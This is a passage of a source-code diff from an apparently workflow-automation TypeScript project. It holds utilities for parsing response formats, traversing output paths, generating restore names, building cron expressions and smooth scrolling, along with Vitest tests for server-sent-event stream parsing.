* Handles both string and object formats
|
||||
*/
|
||||
export function parseResponseFormatSafely(
|
||||
responseFormatValue: any,
|
||||
blockId: string,
|
||||
options?: { allowReferences?: boolean }
|
||||
): any {
|
||||
if (!responseFormatValue) {
|
||||
return null
|
||||
}
|
||||
|
||||
const allowReferences = options?.allowReferences ?? false
|
||||
|
||||
try {
|
||||
if (typeof responseFormatValue === 'string') {
|
||||
const trimmedValue = responseFormatValue.trim()
|
||||
if (trimmedValue === '') return null
|
||||
if (allowReferences && trimmedValue.startsWith('<') && trimmedValue.includes('>')) {
|
||||
return trimmedValue
|
||||
}
|
||||
return JSON.parse(trimmedValue)
|
||||
}
|
||||
return responseFormatValue
|
||||
} catch (error) {
|
||||
logger.warn(`Failed to parse response format for block ${blockId}:`, error)
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract field values from a parsed JSON object based on selected output paths
|
||||
* Used for both workspace and chat client field extraction
|
||||
*/
|
||||
export function extractFieldValues(
|
||||
parsedContent: any,
|
||||
selectedOutputs: string[],
|
||||
blockId: string
|
||||
): Record<string, any> {
|
||||
const extractedValues: Record<string, any> = {}
|
||||
|
||||
for (const outputId of selectedOutputs) {
|
||||
const blockIdForOutput = extractBlockIdFromOutputId(outputId)
|
||||
|
||||
if (blockIdForOutput !== blockId) {
|
||||
continue
|
||||
}
|
||||
|
||||
const path = extractPathFromOutputId(outputId, blockIdForOutput)
|
||||
|
||||
if (path) {
|
||||
const current = traverseObjectPathInternal(parsedContent, path)
|
||||
if (current !== undefined) {
|
||||
extractedValues[path] = current
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return extractedValues
|
||||
}
|
||||
|
||||
/**
|
||||
* Format extracted field values for display
|
||||
* Returns formatted string representation of field values
|
||||
*/
|
||||
export function formatFieldValues(extractedValues: Record<string, any>): string {
|
||||
const formattedValues: string[] = []
|
||||
|
||||
for (const [fieldName, value] of Object.entries(extractedValues)) {
|
||||
const formattedValue = typeof value === 'string' ? value : JSON.stringify(value)
|
||||
formattedValues.push(formattedValue)
|
||||
}
|
||||
|
||||
return formattedValues.join('\n')
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract block ID from output ID
|
||||
* Handles both formats: "blockId" and "blockId_path" or "blockId.path"
|
||||
*/
|
||||
export function extractBlockIdFromOutputId(outputId: string): string {
|
||||
return outputId.includes('_') ? outputId.split('_')[0] : outputId.split('.')[0]
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract path from output ID after the block ID
|
||||
*/
|
||||
export function extractPathFromOutputId(outputId: string, blockId: string): string {
|
||||
return outputId.substring(blockId.length + 1)
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse JSON content from output safely
|
||||
* Handles both string and object formats with proper error handling
|
||||
*/
|
||||
export function parseOutputContentSafely(output: any): any {
|
||||
if (!output?.content) {
|
||||
return output
|
||||
}
|
||||
|
||||
if (typeof output.content === 'string') {
|
||||
try {
|
||||
return JSON.parse(output.content)
|
||||
} catch (e) {
|
||||
// Fallback to original structure if parsing fails
|
||||
return output
|
||||
}
|
||||
}
|
||||
|
||||
return output
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a set of output IDs contains response format selections for a specific block
|
||||
*/
|
||||
export function hasResponseFormatSelection(selectedOutputs: string[], blockId: string): boolean {
|
||||
return selectedOutputs.some((outputId) => {
|
||||
const blockIdForOutput = extractBlockIdFromOutputId(outputId)
|
||||
return blockIdForOutput === blockId && outputId.includes('_')
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* Get selected field names for a specific block from output IDs
|
||||
*/
|
||||
export function getSelectedFieldNames(selectedOutputs: string[], blockId: string): string[] {
|
||||
return selectedOutputs
|
||||
.filter((outputId) => {
|
||||
const blockIdForOutput = extractBlockIdFromOutputId(outputId)
|
||||
return blockIdForOutput === blockId && outputId.includes('_')
|
||||
})
|
||||
.map((outputId) => extractPathFromOutputId(outputId, blockId))
|
||||
}
|
||||
|
||||
/**
|
||||
* Internal helper to traverse an object path without parsing
|
||||
* @param obj The object to traverse
|
||||
* @param path The dot-separated path (e.g., "result.data.value")
|
||||
* @returns The value at the path, or undefined if path doesn't exist
|
||||
*/
|
||||
function traverseObjectPathInternal(obj: any, path: string): any {
|
||||
if (!path) return obj
|
||||
|
||||
let current = obj
|
||||
const parts = path.split('.')
|
||||
|
||||
for (const part of parts) {
|
||||
if (isLargeValueRef(current)) {
|
||||
current = materializeLargeValueRefSyncOrThrow(current)
|
||||
}
|
||||
|
||||
if (isLargeArrayManifest(current)) {
|
||||
if (part === 'length' || part === 'totalCount') {
|
||||
current = current.totalCount
|
||||
continue
|
||||
}
|
||||
if (part === 'chunkCount' || part === 'byteSize' || part === 'preview') {
|
||||
current = current[part]
|
||||
continue
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
if (current?.[part] !== undefined) {
|
||||
current = current[part]
|
||||
} else {
|
||||
return undefined
|
||||
}
|
||||
}
|
||||
|
||||
if (isLargeValueRef(current)) {
|
||||
return current
|
||||
}
|
||||
|
||||
return current
|
||||
}
|
||||
|
||||
/**
|
||||
* Traverses an object path safely, returning undefined if any part doesn't exist
|
||||
* Automatically handles parsing of output content if needed
|
||||
* @param obj The object to traverse (may contain unparsed content)
|
||||
* @param path The dot-separated path (e.g., "result.data.value")
|
||||
* @returns The value at the path, or undefined if path doesn't exist
|
||||
*/
|
||||
export function traverseObjectPath(obj: any, path: string): any {
|
||||
const parsed = parseOutputContentSafely(obj)
|
||||
return traverseObjectPathInternal(parsed, path)
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
import { generateRestoreName } from '@/lib/core/utils/restore-name'
|
||||
|
||||
describe('generateRestoreName', () => {
|
||||
it('returns original when unused', async () => {
|
||||
const nameExists = vi.fn().mockResolvedValue(false)
|
||||
await expect(generateRestoreName('doc.pdf', nameExists, { hasExtension: true })).resolves.toBe(
|
||||
'doc.pdf'
|
||||
)
|
||||
expect(nameExists).toHaveBeenCalledWith('doc.pdf')
|
||||
})
|
||||
|
||||
it('uses _restored suffix when original is taken', async () => {
|
||||
const nameExists = vi
|
||||
.fn()
|
||||
.mockImplementation(async (name: string) => name === 'Notes' || name === 'Notes_restored')
|
||||
|
||||
await expect(generateRestoreName('Notes', nameExists)).resolves.toMatch(
|
||||
/^Notes_restored_[a-f0-9]{6}$/
|
||||
)
|
||||
})
|
||||
|
||||
it('throws after max hash attempts when all candidates exist', async () => {
|
||||
const nameExists = vi.fn().mockResolvedValue(true)
|
||||
await expect(generateRestoreName('x', nameExists)).rejects.toThrow(
|
||||
'Could not generate a unique restore name'
|
||||
)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,44 @@
|
||||
import { randomBytes } from 'crypto'
|
||||
|
||||
const HASH_ATTEMPTS = 8
|
||||
|
||||
/**
|
||||
* Generates a unique name for a restored entity by trying in order:
|
||||
* 1. The original name
|
||||
* 2. `name_restored` (inserted before file extension when `hasExtension` is true)
|
||||
* 3. `name_restored_{6-char hex}` — retries random suffixes until one is free
|
||||
*/
|
||||
export async function generateRestoreName(
|
||||
originalName: string,
|
||||
nameExists: (name: string) => Promise<boolean>,
|
||||
options?: { hasExtension?: boolean }
|
||||
): Promise<string> {
|
||||
if (!(await nameExists(originalName))) {
|
||||
return originalName
|
||||
}
|
||||
|
||||
const restoredName = addSuffix(originalName, '_restored', options?.hasExtension)
|
||||
if (!(await nameExists(restoredName))) {
|
||||
return restoredName
|
||||
}
|
||||
|
||||
for (let i = 0; i < HASH_ATTEMPTS; i++) {
|
||||
const hash = randomBytes(3).toString('hex')
|
||||
const candidate = addSuffix(originalName, `_restored_${hash}`, options?.hasExtension)
|
||||
if (!(await nameExists(candidate))) {
|
||||
return candidate
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error(`Could not generate a unique restore name for "${originalName}"`)
|
||||
}
|
||||
|
||||
function addSuffix(name: string, suffix: string, hasExtension?: boolean): string {
|
||||
if (hasExtension) {
|
||||
const dotIndex = name.lastIndexOf('.')
|
||||
if (dotIndex > 0) {
|
||||
return `${name.slice(0, dotIndex)}${suffix}${name.slice(dotIndex)}`
|
||||
}
|
||||
}
|
||||
return `${name}${suffix}`
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
/**
|
||||
* Converts schedule options to a cron expression
|
||||
*/
|
||||
export function convertScheduleOptionsToCron(
|
||||
scheduleType: string,
|
||||
options: Record<string, string>
|
||||
): string {
|
||||
switch (scheduleType) {
|
||||
case 'minutes': {
|
||||
const interval = options.minutesInterval || '15'
|
||||
// For example, if options.minutesStartingAt is provided, use that as the start minute.
|
||||
return `*/${interval} * * * *`
|
||||
}
|
||||
case 'hourly': {
|
||||
// When scheduling hourly, take the specified minute offset
|
||||
return `${options.hourlyMinute || '00'} * * * *`
|
||||
}
|
||||
case 'daily': {
|
||||
// Expected dailyTime in HH:MM
|
||||
const [minute, hour] = (options.dailyTime || '00:09').split(':')
|
||||
return `${minute || '00'} ${hour || '09'} * * *`
|
||||
}
|
||||
case 'weekly': {
|
||||
// Expected weeklyDay as MON, TUE, etc. and weeklyDayTime in HH:MM
|
||||
const dayMap: Record<string, number> = {
|
||||
MON: 1,
|
||||
TUE: 2,
|
||||
WED: 3,
|
||||
THU: 4,
|
||||
FRI: 5,
|
||||
SAT: 6,
|
||||
SUN: 0,
|
||||
}
|
||||
const day = dayMap[options.weeklyDay || 'MON']
|
||||
const [minute, hour] = (options.weeklyDayTime || '00:09').split(':')
|
||||
return `${minute || '00'} ${hour || '09'} * * ${day}`
|
||||
}
|
||||
case 'monthly': {
|
||||
// Expected monthlyDay and monthlyTime in HH:MM
|
||||
const day = options.monthlyDay || '1'
|
||||
const [minute, hour] = (options.monthlyTime || '00:09').split(':')
|
||||
return `${minute || '00'} ${hour || '09'} ${day} * *`
|
||||
}
|
||||
case 'custom': {
|
||||
// Use the provided cron expression directly
|
||||
return options.cronExpression
|
||||
}
|
||||
default:
|
||||
throw new Error('Unsupported schedule type')
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
/**
|
||||
* Fraction of the remaining gap to close per frame while chasing the bottom —
|
||||
* an exponential glide (originating in the subagent viewport's stick-to-bottom,
|
||||
* see BoundedViewport in agent-group.tsx) instead of snapping `scrollTop` to
|
||||
* `scrollHeight` on every content append. Closes ~90% of any gap within ~18
|
||||
* frames (~300ms) — deliberately lazier than the subagent viewport's 0.18 so a
|
||||
* large content burst reads as a calm upward drift of the transcript rather
|
||||
* than a lurch.
|
||||
*/
|
||||
export const SMOOTH_CHASE_RATE = 0.12
|
||||
|
||||
/** Gap (px) below which the chase parks until new growth reopens it. */
|
||||
export const CHASE_REST_GAP = 0.5
|
||||
|
||||
export interface SmoothBottomChaseTarget {
|
||||
/** Current scroll offset. */
|
||||
getTop: () => number
|
||||
/** Scroll offset at which the viewport bottom meets the content bottom. */
|
||||
getBottomTop: () => number
|
||||
/** Apply a new scroll offset. */
|
||||
setTop: (top: number) => void
|
||||
}
|
||||
|
||||
export interface SmoothBottomChaseHandle {
|
||||
/** True while a chase frame is scheduled (gap still closing). */
|
||||
isActive: () => boolean
|
||||
/** Start the loop if parked. Call after content growth. */
|
||||
kick: () => void
|
||||
cancel: () => void
|
||||
}
|
||||
|
||||
/**
|
||||
* Eased stick-to-bottom chase over any scrollable target (a DOM element or an
|
||||
* editor API like Monaco's). Each frame closes {@link SMOOTH_CHASE_RATE} of the
|
||||
* remaining gap and self-parks at {@link CHASE_REST_GAP}; content growth
|
||||
* restarts it via `kick()`.
|
||||
*
|
||||
* Self-interrupting: chase writes only ever move the offset down, and content
|
||||
* growth leaves it where the last write put it — so an offset that moved UP
|
||||
* since the last write can only be a user scrolling away, and the loop parks
|
||||
* instead of fighting them. `shouldContinue` layers any caller-owned stickiness
|
||||
* on top (checked every frame).
|
||||
*/
|
||||
export function createSmoothBottomChase(
|
||||
target: SmoothBottomChaseTarget,
|
||||
shouldContinue: () => boolean = () => true
|
||||
): SmoothBottomChaseHandle {
|
||||
let raf: number | null = null
|
||||
let lastTop: number | null = null
|
||||
|
||||
const park = () => {
|
||||
if (raf !== null) cancelAnimationFrame(raf)
|
||||
raf = null
|
||||
lastTop = null
|
||||
}
|
||||
|
||||
const step = () => {
|
||||
// `raf` deliberately keeps this (already-fired) frame's id while the step
|
||||
// body runs: canceling a fired handle is a no-op, and a non-null `raf`
|
||||
// means `isActive()` stays true and a reentrant `kick()` — e.g. from a
|
||||
// target whose `setTop` fires synchronous scroll listeners, like Monaco's
|
||||
// onDidScrollChange — cannot start a second parallel chain.
|
||||
if (!shouldContinue()) {
|
||||
park()
|
||||
return
|
||||
}
|
||||
const top = target.getTop()
|
||||
if (lastTop !== null && top < lastTop - 1) {
|
||||
park()
|
||||
return
|
||||
}
|
||||
const gap = target.getBottomTop() - top
|
||||
if (gap <= CHASE_REST_GAP) {
|
||||
park()
|
||||
return
|
||||
}
|
||||
target.setTop(top + Math.max(1, gap * SMOOTH_CHASE_RATE))
|
||||
// A synchronous side-effect of `setTop` may have called `cancel()`; honor
|
||||
// it instead of re-queuing over it.
|
||||
if (raf === null) return
|
||||
lastTop = target.getTop()
|
||||
raf = requestAnimationFrame(step)
|
||||
}
|
||||
|
||||
return {
|
||||
isActive: () => raf !== null,
|
||||
kick: () => {
|
||||
if (raf === null) raf = requestAnimationFrame(step)
|
||||
},
|
||||
cancel: park,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,658 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
import {
|
||||
encodeSSE,
|
||||
readSSEEvents,
|
||||
readSSELines,
|
||||
readSSEStream,
|
||||
SSE_HEADERS,
|
||||
} from '@/lib/core/utils/sse'
|
||||
|
||||
function createStreamFromChunks(chunks: Uint8Array[]): ReadableStream<Uint8Array> {
|
||||
let index = 0
|
||||
return new ReadableStream({
|
||||
pull(controller) {
|
||||
if (index < chunks.length) {
|
||||
controller.enqueue(chunks[index])
|
||||
index++
|
||||
} else {
|
||||
controller.close()
|
||||
}
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
function createSSEChunk(data: object): Uint8Array {
|
||||
return new TextEncoder().encode(`data: ${JSON.stringify(data)}\n\n`)
|
||||
}
|
||||
|
||||
describe('SSE_HEADERS', () => {
|
||||
it.concurrent('should have correct Content-Type', () => {
|
||||
expect(SSE_HEADERS['Content-Type']).toBe('text/event-stream')
|
||||
})
|
||||
|
||||
it.concurrent('should have correct Cache-Control', () => {
|
||||
expect(SSE_HEADERS['Cache-Control']).toBe('no-cache')
|
||||
})
|
||||
|
||||
it.concurrent('should have Connection keep-alive', () => {
|
||||
expect(SSE_HEADERS.Connection).toBe('keep-alive')
|
||||
})
|
||||
|
||||
it.concurrent('should disable buffering', () => {
|
||||
expect(SSE_HEADERS['X-Accel-Buffering']).toBe('no')
|
||||
})
|
||||
})
|
||||
|
||||
describe('encodeSSE', () => {
|
||||
it.concurrent('should encode data as SSE format', () => {
|
||||
const data = { chunk: 'hello' }
|
||||
const result = encodeSSE(data)
|
||||
const decoded = new TextDecoder().decode(result)
|
||||
expect(decoded).toBe('data: {"chunk":"hello"}\n\n')
|
||||
})
|
||||
|
||||
it.concurrent('should handle complex objects', () => {
|
||||
const data = { chunk: 'test', nested: { value: 123 } }
|
||||
const result = encodeSSE(data)
|
||||
const decoded = new TextDecoder().decode(result)
|
||||
expect(decoded).toBe('data: {"chunk":"test","nested":{"value":123}}\n\n')
|
||||
})
|
||||
|
||||
it.concurrent('should handle strings with special characters', () => {
|
||||
const data = { chunk: 'Hello, 世界! 🌍' }
|
||||
const result = encodeSSE(data)
|
||||
const decoded = new TextDecoder().decode(result)
|
||||
expect(decoded).toContain('Hello, 世界! 🌍')
|
||||
})
|
||||
})
|
||||
|
||||
describe('readSSEStream', () => {
|
||||
it.concurrent('should accumulate content from chunks', async () => {
|
||||
const chunks = [
|
||||
createSSEChunk({ chunk: 'Hello' }),
|
||||
createSSEChunk({ chunk: ' World' }),
|
||||
createSSEChunk({ done: true }),
|
||||
]
|
||||
const stream = createStreamFromChunks(chunks)
|
||||
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe('Hello World')
|
||||
})
|
||||
|
||||
it.concurrent('should call onChunk callback for each chunk', async () => {
|
||||
const onChunk = vi.fn()
|
||||
const chunks = [createSSEChunk({ chunk: 'A' }), createSSEChunk({ chunk: 'B' })]
|
||||
const stream = createStreamFromChunks(chunks)
|
||||
|
||||
await readSSEStream(stream, { onChunk })
|
||||
|
||||
expect(onChunk).toHaveBeenCalledTimes(2)
|
||||
expect(onChunk).toHaveBeenNthCalledWith(1, 'A')
|
||||
expect(onChunk).toHaveBeenNthCalledWith(2, 'B')
|
||||
})
|
||||
|
||||
it.concurrent('should call onAccumulated callback with accumulated content', async () => {
|
||||
const onAccumulated = vi.fn()
|
||||
const chunks = [createSSEChunk({ chunk: 'A' }), createSSEChunk({ chunk: 'B' })]
|
||||
const stream = createStreamFromChunks(chunks)
|
||||
|
||||
await readSSEStream(stream, { onAccumulated })
|
||||
|
||||
expect(onAccumulated).toHaveBeenCalledTimes(2)
|
||||
expect(onAccumulated).toHaveBeenNthCalledWith(1, 'A')
|
||||
expect(onAccumulated).toHaveBeenNthCalledWith(2, 'AB')
|
||||
})
|
||||
|
||||
it.concurrent('should skip [DONE] messages', async () => {
|
||||
const encoder = new TextEncoder()
|
||||
const chunks = [createSSEChunk({ chunk: 'content' }), encoder.encode('data: [DONE]\n\n')]
|
||||
const stream = createStreamFromChunks(chunks)
|
||||
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe('content')
|
||||
})
|
||||
|
||||
it.concurrent('should skip lines with error field', async () => {
|
||||
const chunks = [
|
||||
createSSEChunk({ error: 'Something went wrong' }),
|
||||
createSSEChunk({ chunk: 'valid content' }),
|
||||
]
|
||||
const stream = createStreamFromChunks(chunks)
|
||||
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe('valid content')
|
||||
})
|
||||
|
||||
it.concurrent('should handle abort signal', async () => {
|
||||
const controller = new AbortController()
|
||||
controller.abort()
|
||||
|
||||
const chunks = [createSSEChunk({ chunk: 'content' })]
|
||||
const stream = createStreamFromChunks(chunks)
|
||||
|
||||
const result = await readSSEStream(stream, { signal: controller.signal })
|
||||
expect(result).toBe('')
|
||||
})
|
||||
|
||||
it.concurrent('should skip unparseable lines', async () => {
|
||||
const encoder = new TextEncoder()
|
||||
const chunks = [encoder.encode('data: invalid-json\n\n'), createSSEChunk({ chunk: 'valid' })]
|
||||
const stream = createStreamFromChunks(chunks)
|
||||
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe('valid')
|
||||
})
|
||||
|
||||
describe('multi-byte UTF-8 character handling', () => {
|
||||
it.concurrent('should handle Turkish characters split across chunks', async () => {
|
||||
const text = 'Merhaba dünya! Öğretmen şarkı söyledi.'
|
||||
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
|
||||
const bytes = new TextEncoder().encode(fullData)
|
||||
|
||||
const splitPoint = Math.floor(bytes.length / 2)
|
||||
const chunk1 = bytes.slice(0, splitPoint)
|
||||
const chunk2 = bytes.slice(splitPoint)
|
||||
|
||||
const stream = createStreamFromChunks([chunk1, chunk2])
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe(text)
|
||||
})
|
||||
|
||||
it.concurrent('should handle emoji split across chunks', async () => {
|
||||
const text = 'Hello 🚀 World 🌍 Test 🎯'
|
||||
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
|
||||
const bytes = new TextEncoder().encode(fullData)
|
||||
|
||||
const emojiIndex = fullData.indexOf('🚀')
|
||||
const byteOffset = new TextEncoder().encode(fullData.slice(0, emojiIndex)).length
|
||||
const splitPoint = byteOffset + 2
|
||||
|
||||
const chunk1 = bytes.slice(0, splitPoint)
|
||||
const chunk2 = bytes.slice(splitPoint)
|
||||
|
||||
const stream = createStreamFromChunks([chunk1, chunk2])
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe(text)
|
||||
})
|
||||
|
||||
it.concurrent('should handle CJK characters split across chunks', async () => {
|
||||
const text = '你好世界!日本語テスト。한국어도 됩니다.'
|
||||
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
|
||||
const bytes = new TextEncoder().encode(fullData)
|
||||
|
||||
const third = Math.floor(bytes.length / 3)
|
||||
const chunk1 = bytes.slice(0, third)
|
||||
const chunk2 = bytes.slice(third, third * 2)
|
||||
const chunk3 = bytes.slice(third * 2)
|
||||
|
||||
const stream = createStreamFromChunks([chunk1, chunk2, chunk3])
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe(text)
|
||||
})
|
||||
|
||||
it.concurrent('should handle mixed multi-byte content split at byte boundaries', async () => {
|
||||
const text = 'Ö is Turkish, 中 is Chinese, 🎉 is emoji'
|
||||
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
|
||||
const bytes = new TextEncoder().encode(fullData)
|
||||
|
||||
const chunks: Uint8Array[] = []
|
||||
for (let i = 0; i < bytes.length; i += 3) {
|
||||
chunks.push(bytes.slice(i, Math.min(i + 3, bytes.length)))
|
||||
}
|
||||
|
||||
const stream = createStreamFromChunks(chunks)
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe(text)
|
||||
})
|
||||
|
||||
it.concurrent('should handle SSE message split across chunks', async () => {
|
||||
const encoder = new TextEncoder()
|
||||
const message1 = { chunk: 'First' }
|
||||
const message2 = { chunk: 'Second' }
|
||||
|
||||
const fullText = `data: ${JSON.stringify(message1)}\n\ndata: ${JSON.stringify(message2)}\n\n`
|
||||
const bytes = encoder.encode(fullText)
|
||||
|
||||
const delimiterIndex = fullText.indexOf('\n\n') + 1
|
||||
const byteOffset = encoder.encode(fullText.slice(0, delimiterIndex)).length
|
||||
|
||||
const chunk1 = bytes.slice(0, byteOffset)
|
||||
const chunk2 = bytes.slice(byteOffset)
|
||||
|
||||
const stream = createStreamFromChunks([chunk1, chunk2])
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe('FirstSecond')
|
||||
})
|
||||
|
||||
it.concurrent('should handle 2-byte UTF-8 character (Ö) split at byte boundary', async () => {
|
||||
const text = 'AÖB'
|
||||
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
|
||||
const bytes = new TextEncoder().encode(fullData)
|
||||
|
||||
const textStart = fullData.indexOf('"') + 1 + text.indexOf('Ö')
|
||||
const byteOffset = new TextEncoder().encode(fullData.slice(0, textStart)).length
|
||||
|
||||
const chunk1 = bytes.slice(0, byteOffset + 1)
|
||||
const chunk2 = bytes.slice(byteOffset + 1)
|
||||
|
||||
const stream = createStreamFromChunks([chunk1, chunk2])
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe(text)
|
||||
})
|
||||
|
||||
it.concurrent(
|
||||
'should handle 3-byte UTF-8 character (中) split at byte boundaries',
|
||||
async () => {
|
||||
const text = 'A中B'
|
||||
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
|
||||
const bytes = new TextEncoder().encode(fullData)
|
||||
|
||||
const textStart = fullData.indexOf('"') + 1 + text.indexOf('中')
|
||||
const byteOffset = new TextEncoder().encode(fullData.slice(0, textStart)).length
|
||||
|
||||
const chunk1 = bytes.slice(0, byteOffset + 1)
|
||||
const chunk2 = bytes.slice(byteOffset + 1, byteOffset + 2)
|
||||
const chunk3 = bytes.slice(byteOffset + 2)
|
||||
|
||||
const stream = createStreamFromChunks([chunk1, chunk2, chunk3])
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe(text)
|
||||
}
|
||||
)
|
||||
|
||||
it.concurrent(
|
||||
'should handle 4-byte UTF-8 character (🚀) split at byte boundaries',
|
||||
async () => {
|
||||
const text = 'A🚀B'
|
||||
const fullData = `data: ${JSON.stringify({ chunk: text })}\n\n`
|
||||
const bytes = new TextEncoder().encode(fullData)
|
||||
|
||||
const textStart = fullData.indexOf('"') + 1 + text.indexOf('🚀')
|
||||
const byteOffset = new TextEncoder().encode(fullData.slice(0, textStart)).length
|
||||
|
||||
const chunk1 = bytes.slice(0, byteOffset + 1)
|
||||
const chunk2 = bytes.slice(byteOffset + 1, byteOffset + 2)
|
||||
const chunk3 = bytes.slice(byteOffset + 2, byteOffset + 3)
|
||||
const chunk4 = bytes.slice(byteOffset + 3)
|
||||
|
||||
const stream = createStreamFromChunks([chunk1, chunk2, chunk3, chunk4])
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe(text)
|
||||
}
|
||||
)
|
||||
})
|
||||
|
||||
describe('SSE message buffering', () => {
|
||||
it.concurrent('should handle incomplete SSE message waiting for more data', async () => {
|
||||
const encoder = new TextEncoder()
|
||||
|
||||
const chunk1 = encoder.encode('data: {"chu')
|
||||
const chunk2 = encoder.encode('nk":"hello"}\n\n')
|
||||
|
||||
const stream = createStreamFromChunks([chunk1, chunk2])
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe('hello')
|
||||
})
|
||||
|
||||
it.concurrent('should handle multiple complete messages in one chunk', async () => {
|
||||
const encoder = new TextEncoder()
|
||||
|
||||
const multiMessage = 'data: {"chunk":"A"}\n\ndata: {"chunk":"B"}\n\ndata: {"chunk":"C"}\n\n'
|
||||
const chunk = encoder.encode(multiMessage)
|
||||
|
||||
const stream = createStreamFromChunks([chunk])
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe('ABC')
|
||||
})
|
||||
|
||||
it.concurrent('should handle message that ends exactly at chunk boundary', async () => {
|
||||
const chunks = [createSSEChunk({ chunk: 'First' }), createSSEChunk({ chunk: 'Second' })]
|
||||
const stream = createStreamFromChunks(chunks)
|
||||
|
||||
const result = await readSSEStream(stream)
|
||||
expect(result).toBe('FirstSecond')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
function streamFromStringChunks(chunks: string[]): ReadableStream<Uint8Array> {
|
||||
const encoder = new TextEncoder()
|
||||
return createStreamFromChunks(chunks.map((c) => encoder.encode(c)))
|
||||
}
|
||||
|
||||
describe('readSSEEvents', () => {
|
||||
it('parses `\\n\\n`-framed events', async () => {
|
||||
const stream = streamFromStringChunks([
|
||||
'data: {"n":1}\n\n',
|
||||
'data: {"n":2}\n\n',
|
||||
'data: {"n":3}\n\n',
|
||||
])
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([1, 2, 3])
|
||||
})
|
||||
|
||||
it('parses `\\n`-framed events', async () => {
|
||||
const stream = streamFromStringChunks(['data: {"n":1}\ndata: {"n":2}\ndata: {"n":3}\n'])
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([1, 2, 3])
|
||||
})
|
||||
|
||||
it('reassembles events split across chunk boundaries', async () => {
|
||||
const stream = streamFromStringChunks(['data: {"ms', 'g":"hel', 'lo"}\n\n'])
|
||||
const events: Array<{ msg: string }> = []
|
||||
await readSSEEvents<{ msg: string }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e)
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([{ msg: 'hello' }])
|
||||
})
|
||||
|
||||
it('emits a final data: line that has no trailing newline (stream tail)', async () => {
|
||||
const stream = streamFromStringChunks(['data: {"n":1}\n', 'data: {"n":2}'])
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([1, 2])
|
||||
})
|
||||
|
||||
it('flushes a multi-byte character in the final unterminated line', async () => {
|
||||
const encoder = new TextEncoder()
|
||||
const euro = encoder.encode('€')
|
||||
const chunk1 = new Uint8Array([...encoder.encode('data: {"s":"'), euro[0], euro[1]])
|
||||
const chunk2 = new Uint8Array([euro[2], ...encoder.encode('"}')])
|
||||
const stream = createStreamFromChunks([chunk1, chunk2])
|
||||
const events: Array<{ s: string }> = []
|
||||
await readSSEEvents<{ s: string }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e)
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([{ s: '€' }])
|
||||
})
|
||||
|
||||
it('skips the [DONE] sentinel', async () => {
|
||||
const stream = streamFromStringChunks(['data: {"n":1}\n\n', 'data: [DONE]\n\n'])
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([1])
|
||||
})
|
||||
|
||||
it('accepts `data:` with and without a leading space', async () => {
|
||||
const stream = streamFromStringChunks(['data:{"n":1}\n\n', 'data: {"n":2}\n\n'])
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([1, 2])
|
||||
})
|
||||
|
||||
it('strips trailing carriage returns (\\r\\n framing)', async () => {
|
||||
const stream = streamFromStringChunks(['data: {"n":1}\r\n\r\n', 'data: {"n":2}\r\n\r\n'])
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([1, 2])
|
||||
})
|
||||
|
